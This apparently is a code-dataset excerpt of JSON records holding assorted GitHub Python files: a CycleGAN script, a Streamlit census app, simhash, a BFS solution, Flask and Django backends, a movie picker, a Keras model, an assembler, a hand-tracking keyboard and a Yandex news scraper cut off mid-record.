cust)\nmodel_BtoA = load_model('g_model_BtoA_000178.h5', cust)\n\n# plot A->B->A (Monet to photo to Monet)\nA_real = select_sample(A_data, 1)\nB_generated = model_AtoB.predict(A_real)\nA_reconstructed = model_BtoA.predict(B_generated)\nshow_plot(A_real, B_generated, A_reconstructed)\n# plot B->A->B (Photo to Monet to Photo)\nB_real = select_sample(B_data, 1)\nA_generated = model_BtoA.predict(B_real)\nB_reconstructed = model_AtoB.predict(A_generated)\nshow_plot(B_real, A_generated, B_reconstructed)\n\n\n","repo_name":"alymohamed20/Deep-Fake-on-Tennis-Players","sub_path":"Grad Source code/Tennis player to fake person.py","file_name":"Tennis player to fake person.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"73953700035","text":"import pandas as pd\r\nimport streamlit as st\r\nimport numpy as np\r\nst.set_page_config(page_icon = 'logo.png', layout='centered', initial_sidebar_state = 'collapsed', page_title='Census Data')\r\nst.header('Census Data')\r\n@st.cache()\r\ndef load_data():\r\n\tdf = pd.read_csv('https://student-datasets-bucket.s3.ap-south-1.amazonaws.com/whitehat-ds-datasets/adult.csv', header=None)\r\n\tcolumn_name =['age', 'workclass', 'fnlwgt', 'education', 'education-years', 'marital-status', 'occupation', 'relationship', 'race',\r\n\t'gender','capital-gain', 'capital-loss', 'hours-per-week', 'native-country', 'income']\r\n\tfor i in range(df.shape[1]):\r\n\t df.rename(columns={i:column_name[i]},inplace=True)\r\n\tdf.head()\r\n\tdf['native-country'] = df['native-country'].replace(' ?',np.nan)\r\n\tdf['workclass'] = df['workclass'].replace(' ?',np.nan)\r\n\tdf['occupation'] = df['occupation'].replace(' ?',np.nan)\r\n\tdf.dropna(inplace=True)\r\n\tdf.drop(columns='fnlwgt',axis=1,inplace=True)\r\n\treturn df\r\ndf1 = load_data()\r\nif st.checkbox('Show data (It may take some time to load)'):\r\n\tst.dataframe(df1)\r\n\tst.write(f'Size of dataset: {df1.shape[0]} rows and {df1.shape[1]} columns')\r\n","repo_name":"Coders-King-SSG/census","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70130663874","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Author: leeyoshinari\r\nimport re\r\nimport math\r\nimport jieba\r\nimport numpy as np\r\n\r\n\r\ndef content_vector(contents):\r\n contents = re.sub('[^\\w]+', '', contents)\r\n keywords = jieba.lcut(contents)\r\n ret_list = []\r\n for word in keywords:\r\n word_hash = string_hash(word)\r\n tmp_list = []\r\n for feature in word_hash:\r\n if feature == '1':\r\n tmp_list.append(1)\r\n else:\r\n tmp_list.append(-1)\r\n ret_list.append(tmp_list)\r\n\r\n sum_list = np.sum(np.array(ret_list), axis=0)\r\n res_str = ''\r\n for i in sum_list:\r\n if i > 0:\r\n res_str += '1'\r\n else:\r\n res_str += '0'\r\n return int(('0b' + res_str), 2)\r\n\r\n\r\ndef string_hash(s):\r\n x = ord(s[0]) << 7\r\n # mask = 2 ** 128 -1\r\n for c in s:\r\n x = ((x * 1000003) ^ ord(c)) & 340282366920938463463374607431768211455\r\n\r\n x ^= len(s)\r\n if x == -1:\r\n x = -2\r\n\r\n h = bin(x).replace('0b','').zfill(64)[-64:]\r\n return h\r\n\r\n\r\ndef hamming_distance(hash1, hash2):\r\n num = (hash1 ^ hash2) & ((1 << 64) - 1)\r\n ans = 0\r\n while num:\r\n ans += 1\r\n num &= num - 1\r\n return ans\r\n\r\n\r\ndef cal_percentage(x):\r\n # a = 1 / (2 * math.pi * 0.16) ** 0.5\r\n # b = 2 * 0.0459 ** 2\r\n y = 0.9973557010035817 * math.exp((0.0065 * x) ** 2 / 0.00421362 * -1)\r\n return round(y * 100)\r\n\r\n\r\nif __name__ == '__main__':\r\n h = hamming_distance(2784020027777, 2305845793233719681)\r\n print(h)\r\n","repo_name":"leeyoshinari/image_video","sub_path":"common/simhash.py","file_name":"simhash.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31590670321","text":"from collections import deque\n\ndef solution(maps):\n # 아래쪽, 오른쪽, 위쪽, 왼쪽 좌표 정의\n x_move = [1, 0, -1, 0]\n y_move = [0, 1, 0, -1]\n\n # 행 개수와 열 개수 구하기\n x_h, y_h = (len(maps[0]), len(maps))\n queue = deque([(0, 0, 1)])\n\n while queue:\n # x좌표, y좌표, 칸의 개수를 0,0,1로 설정\n x, y, d = queue.popleft()\n\n # 지금 위치에서 for문으로 아래쪽, 오른쪽, 위쪽, 왼쪽으로 움직이기\n for i in range(4):\n nx = x + x_move[i]\n ny = y + y_move[i]\n\n # 움직인 위치가 -1보다는 크고 전체 행과 열 개수보다는 작은지 확인\n if nx > -1 and ny > -1 and nx < x_h and ny < y_h:\n # 움직인 위치가 1과 같거나 d+1보다 큰 경우에는 해당 위치 값을 d+1로 바꿔주기\n if maps[ny][nx] == 1 or maps[ny][nx] > d + 1:\n maps[ny][nx] = d + 1\n # 만약 해당 위치의 행과 열이 maps 우측 하단이면 d+1 반환하고 종료\n if nx == x_h - 1 and ny == y_h - 1:\n return d + 1\n # maps 우측 하단이 아니면 queue에 추가하기\n queue.append((nx, ny, d + 1))\n\n # while문을 다 진행하고도 종료되지 않는다면 상대 진영에 도달하지 못한 것으로 -1 반환\n return -1","repo_name":"tkdqor/coding_test_practice","sub_path":"programmers/게임 맵 최단거리.py","file_name":"게임 맵 최단거리.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28041920044","text":"from re import L\nfrom flask import Flask, jsonify, request,Response\nfrom flask_cors import CORS\nimport helper\nimport pandas as pd\nfrom datetime import date\nimport ruamel.yaml as yaml\n\n\n# configuration\nDEBUG = True\n# instantiate the app\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n# enable CORS\nCORS(app, resources={r'/*': {'origins': '*'}})\n\n@app.route('/runModel', methods=['POST'])\ndef runModel():\n print('dddd')\n command = request.get_json()['command']\n data = request.get_json()['data']\n if command == 'defonet' and data == \"leafdefo\":\n helper.run_docker_image()\n msg = \"running\"\n code = 200\n else:\n msg = \"error: no matching\"\n code = 404\n return jsonify({\"msg\": msg, \"status\": code})\n\n@app.route('/addNewModel', methods=['POST'])\ndef addNewModel():\n name = request.get_json()['name']\n command = request.get_json()['command']\n\n temp_df = pd.DataFrame({\n 'name': [name],\n 'command':[command]\n })\n\n old_df = helper.readCSV('data/model.csv')\n new_df = helper.appendToDF(old_df, temp_df)\n helper.saveDfToFile(new_df, 'data/model.csv')\n return jsonify({'status': 200, 'msg': 'yes'})\n\n@app.route('/getModel', methods=['GET'])\ndef getModel():\n df = helper.readCSV('data/model.csv')\n\n df_json = df.to_dict(orient=\"records\")\n\n output = {}\n for ele in df_json:\n output[ele['name']] = ele['command']\n return jsonify(output)\n\n# add new dataset ---------------------------------------------------------------------------------------------\n@app.route('/addNewDataset', methods=['POST'])\ndef addNewDataset():\n name = request.get_json()['name'] \n # we name the yaml file, not using the original file name. Given a dataset, text: 'Soybean leaf disease', value: 'soybeanleafdisease'\n # then the yaml file name will be 'data/soybeanleafdisease-20220708-v0.yml'\n # read the yaml file, save the name ('data/soybeandefo.20220708.v0.yml') to csv file, save the yaml file to a folder ('data/')\n yamlfile = request.get_json()['input'] # from uploading a yaml file \n\n temp_df = pd.DataFrame({\n 'name': [name],\n 'yaml':[yamlfile]\n })\n\n old_df = helper.readCSV('data/dataset.csv')\n new_df = helper.appendToDF(old_df, temp_df)\n helper.saveDfToFile(new_df, 'data/dataset.csv')\n return jsonify({'status': 200, 'msg': 'yes'})\n\n# get dataset --------------------------------------------------------------------------------------------------\n@app.route('/getDataset', methods=['GET'])\ndef getDataset():\n df = helper.readCSV('data/dataset.csv')\n df_json = df.to_dict(orient=\"records\")\n\n output = {}\n for ele in df_json:\n output[ele['name']] = ele['yaml']\n return jsonify(output)\n\n# The whole process about data set. 1) add new: read yaml file as input\n# 2) update yaml file, owner level: to entire file, user level: to partial \n\n@app.route('/showInfo', methods=['POST'])\n# when choosing a data set, display the necessary info needed to use it \ndef showDatasetKeyInfo():\n selected_dataset = 'file.yml'\n yf = helper.readYAML(selected_dataset)\n selected_part = yf['physical properties']\n return selected_part\n\n# add new contents to yaml file -> create new yaml file. \n# need to update 'dataset.csv'\n@app.route('/updateYAML', methods=['GET'])\ndef updateYAML():\n # create new yaml filename and update 'data/dataset.csv'\n name = request.get_json()['name'] # dataset name\n model_name = request.get_json()['modelname'] # new model name\n model_value = request.get_json()['modelvalue']\n df = helper.readCSV('data/dataset.csv')\n df_json = df.to_dict(orient=\"records\")\n for ele in df_json:\n if ele['name'] == name:\n oldyaml = ele['yaml']\n temp = oldyaml.split('.')\n ver_no = temp[-2][1:]\n ver_no = 'v' + str(int(ver_no) + 1)\n temp_date = date.today()\n temp_date0 = temp_date.strftime(\"%Y%m%d\")\n newyaml = temp[0] + temp_date0 + ver_no + '.yml'\n ele['yaml'] = newyaml\n new_df = pd.DataFrame.from_dict(df_json)\n helper.saveDfToFile(new_df, 'data/dataset.csv')\n # then create new yaml file\n yaml_file = helper.readYAML(oldyaml)\n yaml_file['model properties'][model_name] = model_value\n\n'''\n1. build user login system, user database\n2. standardize dataset yaml file content \n3. add backend support for add new dataset\n4. add table for 'add new model'\n5. \n''' \n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')","repo_name":"Winchester1896/ModelCommons","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9843868295","text":"from django.urls import path\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom . import views\n\nurlpatterns = [\n path('projects/', views.ProjectList.as_view()),\n path('projects//', views.ProjectDetail.as_view()),\n path(\"projects//comments/\", views.ProjectCommentListApi.as_view()),\n path(\"pledges/\", views.PledgeList.as_view(),name='pledge_list'),\n path('category/', views.CategoryList.as_view(), name='category-list'),\n path('comment/', views.CommentListApi.as_view()), \n path('comment//', views.CommentDetailApi.as_view(), name=\"comment-detail\"),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)","repo_name":"SheCodesAus/she-codes-crowdfunding-api-project-tracyleerothery","sub_path":"crowdfunding/projects/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38047170598","text":"import random\r\nimport requests\r\nfrom PIL import Image\r\nimport os\r\n\r\nAPI_KEY = \"e8a55f4d\"\r\n\r\ndef fetch_movie_details(movie_title):\r\n \"\"\"Function to fetch movie details using the OMDB API\"\"\"\r\n url = f\"http://www.omdbapi.com/?apikey={API_KEY}&t={movie_title}\"\r\n try:\r\n response = requests.get(url)\r\n response.raise_for_status() # Raise an exception for 4xx or 5xx status codes\r\n data = response.json()\r\n if data.get(\"Response\") == \"False\":\r\n raise ValueError(data.get(\"Error\", \"Unknown error occurred.\"))\r\n\r\n title = data.get(\"Title\", \"Unknown\")\r\n actor = data.get(\"Actors\", \"Unknown\")\r\n description = data.get(\"Plot\", \"No description available.\")\r\n poster_url = data.get(\"Poster\", \"\")\r\n movie_details = {\r\n \"title\": title,\r\n \"actor\": actor,\r\n \"description\": description,\r\n \"poster\": poster_url\r\n }\r\n return movie_details\r\n except requests.exceptions.RequestException as e:\r\n print(\"Error occurred during API request:\", e)\r\n return None\r\n except (KeyError, ValueError) as e:\r\n print(\"Error occurred while parsing API response:\", e)\r\n return None\r\n\r\n# Example usage\r\nmovie_list = []\r\nwith open(\"movie_list.txt\", \"r\") as file:\r\n for line in file:\r\n movie_list.append(line.strip())\r\n\r\nrandom_movie = random.choice(movie_list)\r\nmovie_details = fetch_movie_details(random_movie)\r\n\r\nif movie_details:\r\n title = movie_details[\"title\"]\r\n actor = movie_details[\"actor\"]\r\n description = movie_details[\"description\"]\r\n poster_url = movie_details[\"poster\"]\r\n\r\n # Download the poster image\r\n response = requests.get(poster_url)\r\n response.raise_for_status()\r\n\r\n # Save the image to a file on the desktop\r\n desktop_path = os.path.join(os.path.expanduser(\"~\"), \"Desktop\")\r\n image_path = os.path.join(desktop_path, f\"{title}.jpg\")\r\n with open(image_path, \"wb\") as image_file:\r\n image_file.write(response.content)\r\n\r\n # Open the image using the default image viewer\r\n Image.open(image_path).show()\r\n\r\n # Print the movie details\r\n print(f\"Title: {title}\")\r\n print(f\"Actor: {actor}\")\r\n print(f\"Description: {description}\")\r\nelse:\r\n print(\"Failed to fetch movie details.\")\r\n","repo_name":"patgamne/python3-scripts","sub_path":"movie-picker/ibm.py","file_name":"ibm.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38630766165","text":"import numpy\nimport os\n\nimport random\nimport pickle\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers import Bidirectional,LSTM,TimeDistributed\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Dropout\nfrom keras.optimizers import rmsprop,adam\nfrom sklearn.utils import shuffle\n\ndef cus_gen(batch_size,X,y):\n while True:\n X,y=shuffle(X,y)\n for i in range(len(X)//batch_size):\n yield (numpy.array(X[i*batch_size:(i+1)*batch_size]),numpy.array(y[i*batch_size:(i+1)*batch_size]))\n\n\n\noptimizer=rmsprop(lr=0.0008)\nmodel=Sequential()\nmodel.add(Embedding(input_dim=733,output_dim=40,input_length=12))\nmodel.add(Bidirectional(LSTM(250,return_sequences=True,activation='relu'),merge_mode='concat'))\nDropout(0.4)\n\nmodel.add(Bidirectional(LSTM(350,return_sequences=True,activation='relu'),merge_mode='concat'))\nDropout(0.4)\nmodel.add(TimeDistributed(Dense(332, activation='tanh')))\nmodel.compile(loss='cosine_proximity',optimizer=optimizer,metrics=['acc'])\n\nwith open('X','rb') as X:\n X=pickle.load(X)\n\nwith open('y','rb') as y:\n y=pickle.load(y)\n\n\nwith open('words','rb') as words:\n words=pickle.load(words)\nwith open('X_test','rb') as X_test:\n X_test=numpy.array(pickle.load(X_test))\n\nwith open('matrix','rb') as matrix:\n matrix=pickle.load(matrix)\n\n\nfrom keras.callbacks import Callback\nclass cus_call(Callback):\n def __init__(self, model, words, matrix,X_test):\n super().__init__()\n self.model=model\n self.words=words\n self.matrix=matrix\n self.X_test=X_test\n\n def on_epoch_end(self, epoch, logs=None):\n self.model.save_weights('model_weight')\n output = self.model.predict(self.X_test)\n for sentence in output:\n for word in sentence:\n print(self.words[numpy.argmax(numpy.matmul(self.matrix, word))], end=\" \")\n\n print()\n\nmodel.load_weights('model_weight')\ncall=cus_call(model,words,matrix,X_test)\nmodel.fit_generator(generator=cus_gen(32,X,y),steps_per_epoch=(10000),epochs=100,callbacks=[call])\n\noutput=model.predict(X_test)\nfor sentence in output:\n for word in sentence:\n print(words[numpy.argmax(numpy.matmul(matrix,word))],end=\" \")\n\n print()\n","repo_name":"VikasNS/Mnemonic-Generator-Using-Deep-Learning","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"37251264094","text":"def incrementar(p):\n p.edad += 1\n return p\n\n\npersonas = [\n persona(\"Juan\", 35),\n persona(\"Marta\", 16),\n persona(\"Manuel\", 78),\n persona(\"Eduardo\", 12)\n]\n\npersonas = map(lambda p: persona(p.nombre, p.edad+1), personas)\n\nfor persona in personas:\n print(persona)","repo_name":"jcmloiacono/Python3-Personal","sub_path":"Practicas/lambda_map.py","file_name":"lambda_map.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30866500801","text":"from re import L\nfrom sys import stdin\nimport sys\n\n# Changes an integer into 8 bit binary and returns the value as a string\ndef decimalToBinary(n,line_counter):\n assert n[0]==\"$\",f\" Error! in line {line_counter} ,integer not declared with a '$' sign.\" \n n = int(str(n)[1::])\n bnr = bin(int(n)).replace('0b', '')\n x = bnr[::-1]\n while len(x) < 8:\n x += '0'\n bnr = x[::-1]\n return bnr\ndef decimalToBinary2(n):\n bnr = bin(int(n)).replace('0b', '')\n x = bnr[::-1]\n while len(x) < 8:\n x += '0'\n bnr = x[::-1]\n return bnr\n\n# Checks if all the variables are declared at the begining and if they are not being used before declaration\ndef check_var(inp_lists):\n line_count=0\n var_list=[]\n var_index=[]\n for i in range(0,len(inp_lists)):\n inp_lists[i]=inp_lists[i].split()\n if(inp_lists[i][0]==\"var\"):\n var_list.append(inp_lists[i][-1])\n var_index.append(i)\n for i in inp_lists:\n line_count+=1\n if((i[0]==\"st\" or i[0]==\"ld\") and i[-1].isalpha() and i[-1] not in var_list):\n assert False,f\"variable used before reference in line {line_count}\"\n if len(var_list)!=0:\n if sorted(var_index) != list(range(0, max(var_index)+1)):\n assert False,\"Error! Variables not declared at beginning .\"\n else:\n return True\ndef check_hlt(inp_lists):\n assert (inp_lists[-1]!=\"hlt\"),\"hlt not in the last line\"\n for i in range(len(inp_lists)):\n if inp_lists[i]==\"hlt\" and i!=len(inp_lists):\n assert False,\"hlt declared before the last line\"\n \n# Dictionary of operands , registers, and variables\ndict0 = {\"add\": \"10000\", \"sub\": \"10001\", \"ld\": \"10100\", \"st\": \"10101\", \"mul\": \"10110\",\n \"div\": \"10111\", \"rs\": \"11000\", \"ls\": \"11001\", \"xor\": \"11010\", \"or\": \"11011\", \"and\": \"11100\", \"not\": \"11101\",\n \"cmp\": \"11110\", \"jmp\": \"11111\", \"jlt\": \"01110\", \"jgt\": \"01101\", \"je\": \"01111\", \"hlt\": \"01010\",\n \"mov\":\"erprev\"\n }\nreg = {\"R0\": \"000\", \"R1\": \"001\", \"R2\": \"010\", \"R3\": \"011\", \"R4\": \"100\", \"R5\": \"101\", \"R6\": \"110\", \"FLAGS\": \"111\"\n }\nlabels={}\n# Initialising some objects\nlist_inputs=[]\nsen=\"hihihihi\"\nvariables = {}\nmem_adrr={}\noutputs=[]\nmem1=0\nline_counter=1\n\n\n# Dividing the operations into 5 basic categeries on basis of different things\nop1 = [\"add\", \"sub\", \"mul\", \"xor\", \"or\", \"and\"]\nop2 = [\"div\", \"not\", \"cmp\"]\nop3 = [\"jmp\", \"jlt\", \"jgt\", \"je\"]\nop4 = [\"rs\", \"ls\"]\nop5 = [\"ld\", \"st\"]\n\n\n# This function converts a proper instruction into 16-bit binary assembly code\ndef convert(sen,line_counter):\n sen_list = [x for x in sen.split()]\n assert sen_list[0] in dict0 , f\"Syntax Error! in line {line_counter} Operator not present in ISO\"\n if sen_list[0] != \"mov\":\n sen_list_assem = [dict0[sen_list[0]]]\n else:\n if sen_list[2] in reg:\n sen_list_assem = [\"10010\"]\n else:\n sen_list_assem = [\"10011\"]\n if sen_list[0] in op1:\n sen_list_assem.append(\"00\")\n for i in range(3):\n assert sen_list[i+1] in reg, f\"Syntax Error! at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[i + 1]])\n elif sen_list[0] in op2:\n sen_list_assem.append(\"00000\")\n for i in range(2):\n assert sen_list[i+1] in reg, f\"Syntax Error! at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[i + 1]])\n elif sen_list[0] in op3:\n assert sen_list[0] in labels,f\"Error!, at line {line_counter} wrong name for not label\"\n sen_list_assem.append(\"000\")\n sen_list_assem.append(labels[sen_list[1]])\n elif sen_list[0] in op4:\n assert sen_list[1] in reg, f\"Syntax Error! at at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[1]])\n assert 0<=int(sen_list[2][1::])<256,f\"Error! , the illiegal immideate value at line {line_counter}\"\n sen_list_assem.append(decimalToBinary(sen_list[2]),line_counter)\n elif sen_list[0] in op5:\n assert sen_list[1] in reg, f\"Syntax Error! at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[1]])\n assert sen_list[2] in variables,f\"Error!, at line {line_counter} Variable not declared\"\n sen_list_assem.append(variables[sen_list[2]])\n elif sen_list[0] == \"hlt\":\n sen_list_assem.append(\"00000000000\")\n elif sen_list[0] == \"mov\":\n if sen_list[2] not in reg:\n assert sen_list[1] in reg, f\"Syntax Error! at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[1]])\n assert 0<=int(sen_list[2][1::])<256,f\"Error! ,at line {line_counter} the illiegal immideate value\"\n sen_list_assem.append(decimalToBinary(sen_list[2],line_counter))\n else:\n sen_list_assem.append(\"00000\")\n assert sen_list[1] in reg, f\"Syntax Error! at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[1]])\n assert sen_list[2] in reg, f\"Syntax Error! at line {line_counter} register not present in ISO\"\n sen_list_assem.append(reg[sen_list[2]])\n outputs.append(\"\".join(sen_list_assem))\n\n# Taking inputs in loops and saving them in list_inputs\nfor line in stdin:\n if line!=\"\":\n list_inputs.append(line)\n\n\n# Assigning memory adresses to variables and labels and addiding them to dicts\nfor sen in list_inputs:\n if sen.split()[0] != \"var\":\n if sen.split()[0][-1]==':':\n labels[sen.split()[0][0:-1]]=decimalToBinary2(mem1)\n mem1+=1\n else: \n mem_adrr[sen]=decimalToBinary2(mem1)\n mem1+=1\nfor sen in list_inputs:\n if sen.split()[0] == \"var\":\n assert sen.split()[1] not in variables,f\"Variable redeclaration error at line {len(variables)+1}\"\n variables[sen.split()[1]]=decimalToBinary2(mem1)\n mem1+=1\nline_counter+=len(variables)\n\n\n# Checking for proper declaration of variables, presence of hlt and memory overflow errors.\nlist_inputs_check=list_inputs.copy()\nlist_inputs_check_2=list_inputs.copy()\ncheck_var(list_inputs_check)\ncheck_hlt(list_inputs_check_2)\nassert mem1<257,\"Memory overflow Error! , too many instructions for the ISO to handle\"\n\n# Converting to bin-codes\nfor sen in list_inputs:\n if sen.split()[0] != \"var\" and sen.split()[0][0:-1] not in labels:\n convert(sen,line_counter)\n line_counter+=1\n elif sen.split()[0][::-1][0]==\":\":\n label_inp=sen.split()\n label_inp.pop(0)\n r=\" \".join(label_inp)\n convert(r,line_counter)\n line_counter+=1\n\n# Printing the output\nfor x in outputs:\n sys.stdout.write(x)\n sys.stdout.write(\"\\n\")\n","repo_name":"YajatGupta22/CO-Project","sub_path":"backup_main.py","file_name":"backup_main.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72491587395","text":"import cv2\r\nfrom cvzone.HandTrackingModule import HandDetector\r\nfrom time import sleep\r\nimport numpy as np\r\nimport cvzone\r\nfrom pynput.keyboard import Controller\r\nimport time\r\n\r\nprev_time = time.time()\r\n\r\ncap = cv2.VideoCapture(0)\r\ncap.set(3, 1280)\r\ncap.set(4, 720)\r\n\r\ndetector = HandDetector(detectionCon=0.8)\r\nkeys = [[\"Q\", \"W\", \"E\", \"R\", \"T\", \"Y\", \"U\", \"I\", \"O\", \"P\"],\r\n [\"A\", \"S\", \"D\", \"F\", \"G\", \"H\", \"J\", \"K\", \"L\", \";\"],\r\n [\"Z\", \"X\", \"C\", \"V\", \"B\", \"N\", \"M\", \",\", \".\", \"/\"]]\r\nfinalText = \"\"\r\n\r\nkeyboard = Controller()\r\n\r\n\r\ndef drawAll(image, bttnList):\r\n for bttn in bttnList:\r\n xAxis, yAxis = bttn.pos\r\n width, height = bttn.size\r\n cvzone.cornerRect(image, (bttn.pos[0], bttn.pos[1], bttn.size[0], bttn.size[1]), 20, rt=0)\r\n cv2.rectangle(image, bttn.pos, (xAxis + width, yAxis + height), (255, 0, 255), cv2.FILLED)\r\n cv2.putText(image, bttn.text, (xAxis + 20, yAxis + 65), cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n return image\r\n\r\n\r\nclass Button:\r\n def __init__(self, pos, text, size=None):\r\n if size is None:\r\n size = [85, 85]\r\n self.pos = pos\r\n self.size = size\r\n self.text = text\r\n\r\n\r\nbuttonList = []\r\nfor i in range(len(keys)):\r\n for j, key in enumerate(keys[i]):\r\n buttonList.append(Button([100 * j + 50, 100 * i + 50], key))\r\nbuttonList.append(Button([720, 350], \"Space\", [225, 85]))\r\nbuttonList.append(Button([965, 350], \"Delete\", [240, 85]))\r\n\r\nwhile True:\r\n success, img = cap.read()\r\n img = detector.findHands(img)\r\n lmList, bboxInfo = detector.findPosition(img)\r\n img = drawAll(img, buttonList)\r\n\r\n current_time = time.time()\r\n if current_time - prev_time < 1:\r\n continue\r\n\r\n if lmList:\r\n for button in buttonList:\r\n x, y = button.pos\r\n w, h = button.size\r\n\r\n if x < lmList[8][0] < x + w and y < lmList[8][1] < y + h:\r\n cv2.rectangle(img, (x - 5, y - 5), (x + w + 5, y + h + 5), (175, 0, 175), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65), cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n l, _, _ = detector.findDistance(8, 12, img, draw=False)\r\n print(l)\r\n\r\n if l < 30:\r\n if button.text == \"Space\":\r\n keyboard.press(' ')\r\n if finalText and finalText[-1] != ' ':\r\n finalText += ' '\r\n elif button.text == \"Delete\":\r\n if len(finalText) > 0:\r\n keyboard.press('\\b')\r\n finalText = finalText[:-1]\r\n else:\r\n keyboard.press(button.text)\r\n finalText += button.text\r\n\r\n cv2.rectangle(img, button.pos, (x + w, y + h), (0, 255, 0), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65),\r\n cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n sleep(0.15)\r\n\r\n prev_time = time.time()\r\n\r\n cv2.rectangle(img, (50, 350), (700, 450), (175, 0, 175), cv2.FILLED)\r\n cv2.putText(img, finalText, (60, 430),\r\n cv2.FONT_HERSHEY_PLAIN, 5, (255, 255, 255), 5)\r\n\r\n cv2.imshow(\"Virtual Keyboard\", img)\r\n cv2.waitKey(1)\r\n","repo_name":"mahmutovichana/Handy-App","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"28587600052","text":"import math\n\ndef solution(fees, records):\n answer = []\n dict_rec = {}\n dict_time = {}\n bhour, bfee, fmin, pfee = map(int, fees)\n \n for record in records:\n time, num, ent = record.split()\n hour, mn = map(int, time.split(':'))\n minutes = (hour * 60) + mn\n \n if num not in dict_rec and ent == \"IN\":\n dict_rec[num] = minutes\n elif num in dict_rec and ent == \"OUT\" :\n if num not in dict_time :\n dict_time[num] = 0\n dict_time[num] += minutes - dict_rec[num]\n del dict_rec[num]\n \n if dict_rec : \n for num in dict_rec :\n if num not in dict_time :\n dict_time[num] = 0\n dict_time[num] += 1439 - dict_rec[num]\n \n dict_time = sorted(dict_time.items())\n for _, value in dict_time :\n if value > bhour :\n fee = bfee + (math.ceil((value - bhour) / fmin) * pfee)\n else :\n fee = bfee\n \n answer.append(fee)\n \n return answer","repo_name":"rmffpaps98/CodingTest","sub_path":"프로그래머스/2/92341. 주차 요금 계산/주차 요금 계산.py","file_name":"주차 요금 계산.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44419081200","text":"\"\"\"Получение топ-новостей с yandex.\"\"\"\n\"\"\"Выбирается блок по id=top-heading. внутри него 10 тэгов (по 2 на новость). Первый отдает\nназвание и ссылку, второй - время и источник.\"\"\"\n\nfrom datetime import date, timedelta\nimport time\nfrom pprint import pprint\nimport requests\nfrom lxml import html\nimport pymongo\n\n\ndef scrap_page(url: str, params: dict, headers: dict) -> str:\n \"\"\"Базовый скраппер.\"\"\"\n response = requests.get(url, params=params, headers=headers, stream=True)\n response.encoding = 'utf-8'\n if response.ok:\n return response.text\n else:\n raise Exception(f'Something is wrong with scrapping of {url}')\n\ndef get_another_date(days_quantity: int):\n \"\"\"Возвращает дату, измененную на указанное количество дней.\"\"\"\n today = date.today()\n another_date = today + timedelta(days=days_quantity)\n return another_date\n\n\ndef get_yavdex_news(db):\n url = 'https://yandex.ru/news/'\n headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) \\\n AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36'}\n\n params = {\n 'x-consumed-content-encoding': 'gzip',\n 'x-content-type-options': 'nosniff',\n 'x-frame-options': 'DENY',\n 'x-xss-protection': '1; mode=block'\n }\n\n collection = db.yandex_news\n collection.create_index([('link', pymongo.ASCENDING), ], unique=True)\n\n response = scrap_page(url=url, params=params, headers=headers)\n time.sleep(3)\n\n dom = html.fromstring(response)\n block = dom.xpath('//*[@id=\"top-heading\"]/following-sibling::div/descendant::a')\n\n for i in range(len(block)):\n if i % 2 == 0:\n # Title & Link:\n print('0')\n title = block[i].xpath('./text()')[0]\n title = title.replace(\"\\xa0\", \" \")\n link = block[i].xpath('./@href')[0]\n continue\n else:\n # Source & Date:\n source = block[i].xpath('./text()')[0]\n date_raw = block[i].xpath('./../following-sibling::span/text()')[0]\n date_str = str(date_raw)\n if 'вчера' in date_str.lower():\n publication = str(get_another_date(-1)) + ' ' + date_str\n else:\n publication = str(date.today()) + ' ' + date_str\n\n # DB:\n document = {\n 'title': title,\n 'link': link,\n 'source': 